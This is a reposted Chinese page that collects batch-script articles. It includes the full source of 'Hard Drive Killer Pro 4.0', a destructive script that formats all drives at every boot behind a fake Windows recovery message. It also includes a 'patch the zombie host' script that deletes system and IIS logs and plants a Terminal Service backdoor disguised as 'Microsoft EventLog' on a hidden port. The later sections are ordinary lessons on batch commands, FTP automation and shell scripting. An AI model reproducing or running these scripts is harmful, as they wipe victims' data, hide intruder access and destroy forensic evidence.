echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat


echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat


:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul

 

cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .


for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul


cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga


:end


rem Hard Drive Killer Pro Version 4.0, enjoy!!!!
rem Author: Munga Bunga - from Australia, the land full of retarded Australian's (help me get out of here).

 

六.精彩实例放送。
1.删除win2k/xp系统默认共享的批处理
------------------------ cut here then save as .bat or .cmd file ---------------------------


@echo preparing to delete all the default shares.when ready pres any key.
@pause
@echo off


:Rem check parameters if null show usage.
if {%1}=={} goto :Usage


:Rem code start.
echo.
echo ------------------------------------------------------
echo.
echo Now deleting all the default shares.
echo.
net share %1$ /delete
net share %2$ /delete
net share %3$ /delete
net share %4$ /delete
net share %5$ /delete
net share %6$ /delete
net share %7$ /delete
net share %8$ /delete
net share %9$ /delete
net stop Server
net start Server
echo.
echo All the shares have been deleteed
echo.
echo ------------------------------------------------------
echo.
echo Now modify the registry to change the system default properties.
echo.
echo Now creating the registry file
echo Windows Registry Editor Version 5.00> c:\delshare.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters]>> c:\delshare.reg
echo "AutoShareWks"=dword:00000000>> c:\delshare.reg
echo "AutoShareServer"=dword:00000000>> c:\delshare.reg
echo Nowing using the registry file to chang the system default properties.
regedit /s c:\delshare.reg
echo Deleting the temprotarily files.
del c:\delshare.reg
goto :END


:Usage
echo.
echo ------------------------------------------------------
echo.
echo ☆ A example for batch file ☆
echo ☆ [Use batch file to change the sysytem share properties.] ☆
echo.
echo Author:Ex4rch
echo Mail:Ex4rch@hotmail.com QQ:1672602
echo.
echo Error:Not enough parameters
echo.
echo ☆ Please enter the share disk you wanna delete ☆
echo.
echo For instance,to delete the default shares:
echo delshare c d e ipc admin print
echo.
echo If the disklable is not as C: D: E: ,Please chang it youself.
echo.
echo example:
echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
echo delshare c d e x y z ipc admin print
echo.
echo *** you can delete nine shares once in a useing ***
echo.
echo ------------------------------------------------------
goto :EOF


:END
echo.
echo ------------------------------------------------------
echo.
echo OK,delshare.bat has deleted all the share you assigned.
echo.Any questions ,feel free to mail to Ex4rch@hotmail.com.
echo
echo.
echo ------------------------------------------------------
echo.


:EOF
echo end of the batch file
------------------------ cut here then save as .bat or .cmd file ---------------------------

 

2.全面加固系统(给肉鸡打补丁)的批处理文件
------------------------ cut here then save as .bat or .cmd file ---------------------------


@echo Windows Registry Editor Version 5.00 >patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\lanmanserver\parameters] >>patch.dll


@echo "AutoShareServer"=dword:00000000 >>patch.dll
@echo "AutoShareWks"=dword:00000000 >>patch.dll
@REM [禁止共享]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>patch.dll
@echo "restrictanonymous"=dword:00000001 >>patch.dll
@REM [禁止匿名登录]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters] >>patch.dll
@echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
@REM [禁止及文件访问和打印共享]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\@REMoteRegistry] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>patch.dll
@echo "ShutdownWithoutLogon"="0" >>patch.dll
@REM [禁止登录前关机]


@echo "DontDisplayLastUserName"="1" >>patch.dll
@REM [禁止显示前一个登录用户名称]
@regedit /s patch.dll


------------------------ cut here then save as .bat or .cmd file ---------------------------


下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
@regedit /s patch.dll
@net stop w3svc
@net stop event log
@del c:\winnt\system32\logfiles\w3svc1\*.* /f /q
@del c:\winnt\system32\logfiles\w3svc2\*.* /f /q
@del c:\winnt\system32\config\*.event /f /q
@del c:\winnt\system32dtclog\*.* /f /q
@del c:\winnt\*.txt /f /q
@del c:\winnt\*.log /f /q
@net start w3svc
@net start event log
@rem [删除日志]

 

@net stop lanmanserver /y
@net stop Schedule /y
@net stop RemoteRegistry /y
@del patch.dll
@echo The server has been patched,Have fun.
@del patch.bat
@REM [禁止一些危险的服务。]


@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>patch.dll
@echo "PortNumber"=dword:00002010 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp >>patch.dll
@echo "PortNumber"=dword:00002012 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecuService] >>patch.dll
@echo "Start"=dword:00000002 >>patch.dll
@echo "ErrorControl"=dword:00000001 >>patch.dll
@echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\ >>patch.dll
@echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65,\ >>patch.dll
@echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
@echo "ObjectName"="LocalSystem" >>patch.dll
@echo "Type"=dword:00000010 >>patch.dll
@echo "Description"="Keep record of the program and windows' message。" >>patch.dll
@echo "DisplayName"="Microsoft EventLog" >>patch.dll
@echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\termservice] >>patch.dll
@echo "Start"=dword:00000004 >>patch.dll
@copy c:\winnt\system32\termsrv.exe c:\winnt\system32\eventlog.exe
@REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]


3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
------------------------ cut here then save as .bat or .cmd file ---------------------------
@echo off
rem This program is dedecated to a very special person that does not want to be named.
:start
cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autoSample >nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
rem Drive checking and assigning the valid drives to the drive variable.


set drive=
set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

 

rem code insertion for Drive Checking takes place here.
rem drivechk.bat is the file name under the root directory.
rem As far as the drive detection and drive variable settings, don't worry about how it
rem works, it's d\*amn to complicated for the average or even the expert batch programmer.
rem Except for Tom Lavedas.


echo @echo off >drivechk.bat
echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem When errorlevel is 1, then the above is not true, if 0, then it's true.
rem Opposite of binary rules. If 0, it will elaps to the next command.


echo @prompt %%%%comspec%%%% /f /c dir %%%%1:.\/ad/w/-p $b find "bytes" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 goto enddc >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
rem if errorlevel is 0, then it will elaps to the next command.


echo @prompt dir %%%%1:.\/ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
%comspec% /e:2048 /c {t}.bat >>drivechk.bat
del {t}.bat
echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat


cls
echo PLEASE WAIT WHILE PROGRAM LOADS . . .


rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.


echo :enddc >>drivechk.bat


rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".


rem Now we will use the program drivechk.bat to attain valid drive information.


:Sampledrv


for %%a in (%alldrive%) do call drivechk.bat %%a >nul
del drivechk.bat >nul
if %drive.==. set drive=c


:form_del
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) do call c:\temp.bat %%%%a Bunga >nul >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:\autoexec.bat
echo for %%%%a in (%drive%) call deltree /y %%%%a:\ >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo cls >>c:\autoexec.bat
echo echo Welcome to the land of death. Munga Bunga's Multiple Hard Drive Killer version 4.0. >>c:\autoexec.bat
echo echo If you ran this file, then sorry, I just made it. The purpose of this program is to tell you the following. . . >>c:\autoexec.bat
echo echo 1. To make people aware that security should not be taken for granted. >>c:\autoexec.bat
echo echo 2. Love is important, if you have it, truly, don't let go of it like I did! >>c:\autoexec.bat
echo echo 3. If you are NOT a vegetarian, then you are a murderer, and I'm glad your HD is dead. >>c:\autoexec.bat
echo echo 4. Don't support the following: War, Racism, Drugs and the Liberal Party.>>c:\autoexec.bat


echo echo. >>c:\autoexec.bat
echo echo Regards, >>c:\autoexec.bat
echo echo. >>c:\autoexec.bat
echo echo Munga Bunga >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat


:makedir
if exist c:\temp.bat attrib -r -h c:\temp.bat >nul
echo @echo off >c:\temp.bat
echo %%1:\ >>c:\temp.bat
echo cd\ >>c:\temp.bat
echo :startmd >>c:\temp.bat
echo for %%%%a in ("if not exist %%2\nul md %%2" "if exist %%2\nul cd %%2") do %%%%a >>c:\temp.bat
echo for %%%%a in (">ass_hole.txt") do echo %%%%a Your Gone @$$hole!!!! >>c:\temp.bat
echo if not exist %%1:\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\%%2\nul goto startmd >>c:\temp.bat
call attrib +r +h c:\temp.bat >nul


cls
echo Initializing Variables . . .
rem deltree /y %%a:\*. only eliminates directories, hence leaving the file created above for further destruction.
for %%a in (%drive%) do call format %%a: /q /u /autoSample >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
for %%a in (%drive%) call attrib -r -h %%a:\ /S >nul
call attrib +r +h c:\temp.bat >nul
call attrib +r +h c:\autoexec.bat >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .


for %%a in (%drive%) call deltree /y %%a:\*. >nul
cls
echo Initializing Variables . . .
echo Validating Data . . .
echo Analyzing System Structure . . .
echo Initializing Application . . .
echo Starting Application . . .
for %%a in (%drive%) do call c:\temp.bat %%a Munga >nul


cls
echo Thank you for using a Munga Bunga product.
echo.
echo Oh and, Bill Gates rules, and he is not a geek, he is a good looking genius.
echo.
echo Here is a joke for you . . .
echo.
echo Q). What's the worst thing about being an egg?
echo A). You only get laid once.
echo.
echo HAHAHAHA, get it? Don't you just love that one?
echo.
echo Regards,
echo.
echo Munga Bunga


:end


引用地址:http://blog./trackback.asp?id=6163

=====================================

DOS批处理实现自动FTP功能

作者:未知 时间:2005-09-13 23:36 出处:Blog.ChinaUnix.net 责编:chinaitpower

              摘要:DOS批处理实现自动FTP功能




跟UNIX的SHELL编程来说,DOS的批处理编程功能没那么强大,不过有时候不想动刀动枪的(开发工具),用批处理实现一些

功能还是很方便的。

本文就是为了应对每日自动从服务器取数据写的批处理,利用了WINDOW平台的AT功能和DOS 批处理。该程序在WIN2000下

通过。

功能如同标题,比较简单,就不介绍了,下面是整个代码,大家自己看吧:)

@echo off
rem  FileName : myftp
rem  本程序从各FTP服务器取对应数据保存到机器目录,每次根据系统时间建立日期目录
rem  保存数据
rem  如果需要定时执行,请执行AT命令或者在 开始-》设置-》控制面板-》任务计划 中定义

rem 数据保存目录,在该目录下按日期建子目录
set LOCAL_HOME=f:\
cd %LOCAL_HOME%

rem 取系统日期
@FOR /F "usebackq delims= " %%i IN (`date /T`) DO set WORKDATE=%%i
rem 判断日期目录是否存在,不存在就建
if not exist %WORKDATE% md %WORKDATE%

rem 判断命令是否执行成功
if not errorlevel 0 echo 建立目录[%WORKDATE%]失败

rem 进入对应日期目录
cd %WORKDATE%

rem 从FTP服务器取数据,多个FTP则重复该部分内容
rem @echo为在FTP方式下的命令操作顺序
rem 数据
@echo open 127.0.0.1>ftpcmd
@echo user guest guest>>ftpcmd
@echo prompt>>ftpcmd
@echo cd data>>ftpcmd
@echo get EXCHANGE%WORKDATE%>>ftpcmd
@echo get INSTERESTRATE>>ftpcmd
@echo bye>>ftpcmd
@ftp -n<ftpcmd >null
@del ftpcmd

rem 返回到起始目录
cd %LOCAL_HOME%
cd ..

=========================================

精采回闪:DOS高手速成秘籍——批处理编程命令实例秀(一)

上一篇 / 下一篇  2007-05-24 14:02:40 / 个人分类:电脑应用

查看( 1545 ) / 评论( 11 )
这是《电脑爱好者》2004年第19期的特别话题,作者为张涛(红色代码),当时我是责任编辑,文章中也参与写了一些文字,从今天开始,对这篇文章进行连载,希望能够对各位朋友有所帮助,也在此特别鸣谢张涛(红色代码)以及在专题制作中提供不少精采批处理实例的网友Hitme。
(注:版权所有,请勿随意转载)
 
引言:如今Windows大行其道,但DOS批处理就像一只娇艳的小花,虽然不起眼,却总是悠悠地散发着让人难以抗拒的魅力,相信你曾经多次通过我们的杂志中体会到了批处理的美妙,但那些其实只是批处理的基本应用,DOS批处理中还有一些神秘的编程命令,通过它们你可以轻松实现在Windows中要数个步骤、几十个步骤才能完成的任务,甚至是一些要付出Money才能享用的软件的功能。今天就让我们一起来揭开它们的神秘面纱,通过众多有趣、有用的实例学习如何使用批处理中的编程命令,在短短几个小时内从一只小菜鸟成就为一名批处理大师。
 
温故:操练基本的批处理
★2003年第21期《回归Windows的黑白森林——用命令行DIY你的工具软件》
木马速查器、卸载软件后的垃圾清理工具、多分区文件列表工具、文件上传和删除工具、多任务快速搜索器、文件目录“搬家”工具……
★2004年第 期《节省系统资源新方案——上网一键通,下线一键关》
一键上网并打开相关网络程序,一键下键并关闭不需要的网络程序
★2004年第16期《剿匪大行动 全歼Windows另类垃圾》
超强的Windows垃圾自动清理器,让电脑永远没有垃圾
 
一、编写第一个作品:文件列表器
打开记事本,按照图1所示输入其中命令,完成后将其保存为file.bat,并放置到你的个人数据文件夹(比如:D:\data)中,运行这个批处理文件后,会自动生成一个名为list.txt的文件,里面有所有TXT、DOC、XLS文件的详细列表。
小提示
玩批处理的要点
★在批处理运行中,只要按Ctrl+C或Ctrl+BackSprce组合键就可以结束它,请牢记这两个组合键,因为当你做出一个死循环批处理后,它们是你的“救命稻草”。
★写批处理时最好在开始写上注释文字,从而让自己和别人都知道这个批处理的作用。
★凡是命令中有FORMAT、DEL之类格式化、删除命令,最好特别小心,如果书写错误,很可能会将你的重要数据删除。
★文章中许多实例都涉及到了带%的变量,如果直接在DOS窗口中运行,那么只要输入一个“%”,如果写在批处理文件中,那么就得将其变成“%%”。
 
二、快速初识批处理
批处理是DOS 1.0开发到最后时刻才诞生的,IBM告诉微软,他们需要用一些方法来一次又一次测试生产出来的PC,所以希望能够有一种方式使电脑自动运行一批命令,而不用人工一次次输入,于是微软就通过建立批处理文件来实现这个意图。
在后来出现的DOS操作系统里,这种自动化被更好地体现出来。DOS系统允许用户使用任何一种文本编辑器将多条DOS命令按某种顺序以ASCⅡ文本形式写入一个扩展名为BAT(MS-DOS批处理)或CMD(Windows NT命令脚本)的文件中,当在命令提示符下键入文件名并回车,或在Windows环境中双击该文件时,系统会调用command.com或cmd.exe 由前向后依次来自动执行这些命令。这个命令集合就是批处理,它是DOS下可执行文件的一种。一个完整的批处理由至少一条可以被正确执行的DOS命令组成,可见DOS命令是批处理的核心。
也有一种说法,把批处理称做“脚本”,或合起来称为“批处理脚本”,这也是合理的。批处理和脚本有一个共同点,它们都是通过一组命令的正确执行来实现自身价值,不同之处在于,批处理使用的全部为DOS命令,而在脚本中可以使用应用程序的指令;脚本程序性强于批处理,批处理程序结构比较简单。
Just Do It
在运行刚才制作的批处理文件时,你会发现,每次运行后,list.txt中都会重复添加已有的文件列表,这样在实际使用时会比较麻烦,请将其修改一下:
::文件列表器
::可以将文件夹中的个人数据文件(比如:TXT、DOC、XLS等文件)写入列表文件中。
@echo off
if exist list.txt del list.txt
FOR /R %%C IN (*.TXT *.DOC *.XLS) DO echo %%~fnC >>list.txt
这样你会发现,每次的list.txt都是最新的文件列表,而且运行时出来的命令执行情况显示也没有了。
 
小提示
请教Windows中的黑脸老师
DOS 命令并不像Windows程序那样直观,它往往要配合许多参数和固定的书写方法才能发挥作用,除了请教身边高手或是在网上求助外,建议最好事先问问 Windows中的黑脸老师,打开命令行提示符,输入“命令 /?”,回车后,详细的答案就会全部列出来(见图2)。另外,对于Windows 2000/XP,也可以试试白脸老师——“帮助”,打开后,在“搜索”选项卡中输入命令,回车后即可找到结果,内容和黑脸老师讲的都一样。

==========================================

采回闪:DOS高手速成秘籍——批处理编程命令实例秀(二)

上一篇 / 下一篇  2007-05-25 07:17:46 / 个人分类:电脑应用

 
三、掌握批处理的基本编程命令
1.@命令
“@” 符号是E-mail的专用符号,它在批处理中的作用是让系统在执行批处理命令时不显示该行命令本身。也就是如果你把它放在一行命令的前面(比如:@if exit list.txt del list.txt),那么这行命令在执行过程中就不会显示了。但如果每行都加上这个命令,不仅费事,而且有些多余,因此它常常和后面的“echo off”配合使用。
2.echo命令
其主要作用是来确定批处理在执行时显示或不显示它后面所有命令本身,而只显示执行后的结果或其他信息,一般出现在批处理第一行,“echo”和“@”命令的区别在于前者关闭了所有命令显示,而后者只关闭其中一条。而“echo on”显示命令执行已经很少有人用了。
在批处理文件中,“@echo off”这个组合使用非常频繁,它达到了两个目的:“@”使“echo off”命令不显示,而“echo off”确保了后面每行命令的执行过程都不显示。
小提示
“echo”命令还有其他特别用法,比如用来在批处理执行过程中显示一段信息,用法为“echo [消息内容]”,这样“echo”后面的所有内容将被显示到屏幕上。
另外,这个命令还可以结合管道命令将显示信息写进某个文件,比如前面实例中的“echo %%~fnC >>list.txt”。
 
3.::和rem命令
::和rem命令的作用和用法都完全一样,用来在批处理中做注释,增加程序可读性,这是一个值得提倡的好习惯。它们后面跟随的语句不会在执行时显示或被执行。
4.pause命令
该命令在批处理中使用十分广泛,其作用是暂停批处理的执行,直到用户按下键盘上的任意键(Break键除外)。批处理在执行过程中显示的所有信息都是一闪而过的,只有当用户暂停执行时,才能看到当前屏幕上的信息。当程序要让用户看一段信息,或要给用户时间去考虑某个问题时,就可以在这里加上一个pause,批处理执行到这里时将显示“按任意键继续”的信息。用法很简单,直接在要暂停的地方使用pause命令即可。
入门实例:复制多张软盘
打开记事本,输入以下语句,并将其保存为copya.bat:
@echo off
:begin
copy a:\*.* d:\back
echo Please put a new disk into driver A
pause
goto begin
每当复制完一张软盘后,会提示插入一张新软盘,并停止运行,在插入新软盘后,按任意键就能继续执行复制操作。

5.call命令
该命令是用来从一个批处理中调用另一个批处理的,用法为:CALL [驱动器][路径]批处理名[参数]。使用此命令,可以实现多个批处理互相调用,类似于程序中各个模块之间的互相调用。在后面实例中,你可以亲自体验一下这个命令。
6.:和goto命令
这是两个成对出现的命令,在任何一个批处理中有多少个“:”就一定至少有多少个“goto”。“goto”命令的作用,是告诉程序并不按顺序向下执行,而是要跳转到另一个地方,而“:”命令则惟一标记了“goto”命令要跳转的地址。简单说,“goto”是个跳转命令,而“:”是一个标签。当批处理运行到 “goto”时,将自动跳转到“:”所标记的地方去执行。
小提示
“goto”命令的标签长度不能超过8个字节,否则可能会出错,比如“thistest0”和“thistest”的效果是一样的,批处理只取前8个字节,即“thistest”。
 ======================================
利用shell编程实现DOS风格的Linux命令行

   如果你是习惯于Windows命令提示符的IT人,当你第一次使用Linux命令行时,一定会感到无所适从。你所熟悉的DOS命令再Linux中基本不存在。摆在你面前的是一大堆要记背的命令。
 
一种替代方案是利用强大的Linux外壳命令编写shell脚本,让你在Linux下也能用DOS命令。下面告诉你怎么做。

shell脚本编写基础
    从定时备份到执行简单命令,Linux的shell脚本可以执行各种功能。几乎所有的程序都可以用shell脚本来运行。在脚本中甚至可以包含一些简单的条件选择。shell脚本的基本格式如下:

#!/bin/sh

...

Your commands here

...

    注意文件以#!/bin/sh开始。这条语句告诉操作系统用来解释脚本的程序位置。大多数系统会有/bin/sh目录,因为该目录包含root用户的标准shell程序。在大部分系统中你也可以指定/bin/bash目录。

每种shell的脚本都有所不同。一些shell,比如bash,支持比标准shell更多的命令。在大多数Linux版本中sh实际上就是bash。

从脚本运行命令十分简单,很像在Windows DOS提示符下运行命令。举个例子,通过下面这段语句可以拷贝文件:

#!/bin/sh

cp file1 file2

mv file2 file3

echo "complete" > complete.txt

    自动执行命令对那些不需人工干预的任务很有用,但对一般用户来说并不那么有用。为此,shell脚本在执行过程中允许用户输入命令行参数,然后利用输入的参数运行命令。脚本中输入参数用$1到$9表示。如果你曾写过DOS批处理文件,你会发现批处理文件中也有类似功能,只是它用的是%1、%2等来代表输入参数。下面举例来说怎样使用命令行参数:


 
#!/bin/sh

cp $1 $2

    上段脚本接受2个命令行参数,第一个是要拷贝的原文件,第二个是拷贝的目标文件。运行脚本的命令格式是:./myscript file1 file2,myscript代表脚本文件名。命令行选项也可以通过这种方式传递,如:

#!/bin/sh

cp $1 $2 $3

    键入./copy –r sourcedir destdir形式的命令执行上段脚本,即可递归拷贝$2目录下所有文件到$3目录下。选项$1为-r时能让cp命令递归拷贝所有文件。

含条件选择的shell脚本
    对于不含变量的任务简单shell脚本一般能胜任。但在执行一些决策任务时,就需要包含if/then的条件判断了。shell脚本编程支持此类运算,包括比较运算、判断文件是否存在等。基本的if条件命令选项有:

-eq —比较两个参数是否相等(例如,if [ 2 –eq 5 ])
-ne —比较两个参数是否不相等
-lt —参数1是否小于参数2
-le —参数1是否小于等于参数2
-gt —参数1是否大于参数2
-ge —参数1是否大于等于参数2
-f — 检查某文件是否存在(例如,if [ -f "filename" ])
-d — 检查目录是否存在
几乎所有的判断都可以用这些比较运算符实现。脚本中常用-f命令选项在执行某一文件之前检查它是否存在。

=========================================

cmd脚本-maxthon批量打开板块连接
1.缘由:
每天都要扫荡ccf的软交,硬交,网交等板块
每日各板的新主题数很稳定,大约就是软交100个,硬交50,网交25
算起来,鼠标移来移去点点也差不多要200下。。。累

2.追求:
决不把生命浪费在鼠标点点上!!

3.想法:
搞个cmd脚本,抓取各版的新主题至maxthon的快捷组,点2,3下,全开,撒泡尿回来慢慢看
右手按住右ctrl,page up /down翻页,左手按w关闭页面

4.用法:
解压后copy所有文件至maxthon目录,运行load,点机快捷组,全部打开


5.注意
请自行修改红色部分,控制主题类与主题数
ccf17=软交4页
ccf11=硬交2页
ccf19=网交1页

开启数量份外bt的,需要足够快的cpu,足够多的内存,足够快的网速才行,hoho


代码:

@echo off

if not exist maxthon.exe goto:end

setlocal ENABLEDELAYEDEXPANSION


(echo 11 50
echo 17 100
echo 19 25)>id.txt


for /f "tokens=1,2" %%a in (id.txt) do (
set /a p=%%b / 25
set /a p=!p! + 1

(echo [CaptorGroup]
echo %%a=http://bbs./bbs/forumdisplay.php?f=%%a^&page=!p!)>groups\ccf%%a.cgp

curl\curl -o tmp.txt http://bbs./bbs/forumdisplay.php?f=%%a^&pp=%%b
for /f "skip=1 tokens=2,4 delims==>" %%i in ('findstr "showthread.php?s=" tmp.txt^|findstr /r "\</a\>$"') do (
set url1=%%i
set url2=%%j
echo !url2:~0,-1!=http://bbs./bbs/!url1:~1,-1!t=!url2:~0,-1!>>groups\ccf%%a.cgp
)
)

del id.txt tmp.txt
endlocal

start /BELOWNORMAL maxthon.exe
goto:eof

:end
echo.请copy所有文件至maxthon所在目录运行...
pause


    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多